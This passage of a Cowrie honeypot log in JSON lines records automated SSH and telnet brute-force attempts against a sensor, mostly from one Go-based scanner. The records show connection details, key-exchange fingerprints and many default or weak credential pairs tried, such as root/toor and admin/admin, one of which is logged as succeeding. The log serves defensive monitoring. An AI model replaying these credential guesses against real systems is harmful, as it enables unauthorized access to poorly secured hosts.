1@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:13.554785Z","src_ip":"45.156.87.254","session":"2a6cb71e9370","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"arthur","message":"login attempt [arthur/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:13.823239Z","src_ip":"45.156.87.254","session":"2a6cb71e9370","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:14.912412Z","src_ip":"45.156.87.254","session":"2a6cb71e9370","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59394,"dst_ip":"159.203.135.109","dst_port":22,"session":"96fb0464565f","protocol":"ssh","message":"New connection: 45.156.87.254:59394 (159.203.135.109:22) [session: 96fb0464565f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:18.756689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:18.776477Z","src_ip":"45.156.87.254","session":"96fb0464565f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:18.865995Z","src_ip":"45.156.87.254","session":"96fb0464565f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sadmin","password":"sadmin","message":"login attempt [sadmin/sadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:19.268578Z","src_ip":"45.156.87.254","session":"96fb0464565f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:20.379985Z","src_ip":"45.156.87.254","session":"96fb0464565f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40346,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b778d99d828","protocol":"telnet","message":"New connection: 104.245.105.2:40346 (10.17.0.5:23) [session: 4b778d99d828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:21.354365Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59402,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad743253351a","protocol":"ssh","message":"New connection: 45.156.87.254:59402 (159.203.135.109:22) [session: ad743253351a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:24.745946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:24.751053Z","src_ip":"45.156.87.254","session":"ad743253351a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:24.835031Z","src_ip":"45.156.87.254","session":"ad743253351a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:25.102199Z","src_ip":"45.156.87.254","session":"ad743253351a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:26.208678Z","src_ip":"45.156.87.254","session":"ad743253351a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":53362,"dst_ip":"159.203.135.109","dst_port":22,"session":"8969ef95e134","protocol":"ssh","message":"New connection: 45.156.87.254:53362 (159.203.135.109:22) [session: 8969ef95e134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:30.425021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:30.430305Z","src_ip":"45.156.87.254","session":"8969ef95e134","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:30.520285Z","src_ip":"45.156.87.254","session":"8969ef95e134","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:30.798584Z","src_ip":"45.156.87.254","session":"8969ef95e134","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:31.890576Z","src_ip":"45.156.87.254","session":"8969ef95e134","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":53372,"dst_ip":"159.203.135.109","dst_port":22,"session":"72464e35ee34","protocol":"ssh","message":"New connection: 45.156.87.254:53372 (159.203.135.109:22) [session: 72464e35ee34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:36.020072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:36.038073Z","src_ip":"45.156.87.254","session":"72464e35ee34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:36.262327Z","src_ip":"45.156.87.254","session":"72464e35ee34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:36.619051Z","src_ip":"45.156.87.254","session":"72464e35ee34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:37.704050Z","src_ip":"45.156.87.254","session":"72464e35ee34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":33738,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee1f88dec225","protocol":"telnet","message":"New connection: 20.123.41.163:33738 (10.17.0.5:23) [session: ee1f88dec225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:41.083398Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60048,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c868e6cb9b2","protocol":"ssh","message":"New connection: 45.156.87.254:60048 (159.203.135.109:22) [session: 5c868e6cb9b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:41.431939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:41.440838Z","src_ip":"45.156.87.254","session":"5c868e6cb9b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:41.522853Z","src_ip":"45.156.87.254","session":"5c868e6cb9b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:41.773657Z","src_ip":"45.156.87.254","session":"5c868e6cb9b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:42.866621Z","src_ip":"45.156.87.254","session":"5c868e6cb9b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60060,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d7ee563facb","protocol":"ssh","message":"New connection: 45.156.87.254:60060 (159.203.135.109:22) [session: 4d7ee563facb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:46.506503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:46.511611Z","src_ip":"45.156.87.254","session":"4d7ee563facb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:46.599743Z","src_ip":"45.156.87.254","session":"4d7ee563facb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:46.870892Z","src_ip":"45.156.87.254","session":"4d7ee563facb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:48.104091Z","src_ip":"45.156.87.254","session":"4d7ee563facb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.145.252.179","src_port":59674,"dst_ip":"10.17.0.5","dst_port":23,"session":"85a442220422","protocol":"telnet","message":"New connection: 185.145.252.179:59674 (10.17.0.5:23) [session: 85a442220422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:48.195901Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:48.402176Z","src_ip":"47.80.18.15","session":"ac54973f36e8","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:48.452890Z","src_ip":"47.80.18.15","session":"ac54973f36e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.157875537872314,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:50.984390Z","src_ip":"104.245.105.2","session":"63a9626826ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":46556,"dst_ip":"159.203.135.109","dst_port":22,"session":"d58e42dd063a","protocol":"ssh","message":"New connection: 45.156.87.254:46556 (159.203.135.109:22) [session: d58e42dd063a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:51.516030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:51.520623Z","src_ip":"45.156.87.254","session":"d58e42dd063a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:51.606480Z","src_ip":"45.156.87.254","session":"d58e42dd063a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"usuario","password":"usuario","message":"login attempt [usuario/usuario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:51.869179Z","src_ip":"45.156.87.254","session":"d58e42dd063a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:53.128606Z","src_ip":"45.156.87.254","session":"d58e42dd063a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.79269504547119,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:55.146949Z","src_ip":"104.245.105.2","session":"4b778d99d828","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":46574,"dst_ip":"159.203.135.109","dst_port":22,"session":"9109971546fb","protocol":"ssh","message":"New connection: 45.156.87.254:46574 (159.203.135.109:22) [session: 9109971546fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:56.566745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:56.571428Z","src_ip":"45.156.87.254","session":"9109971546fb","protocol":"ssh"}
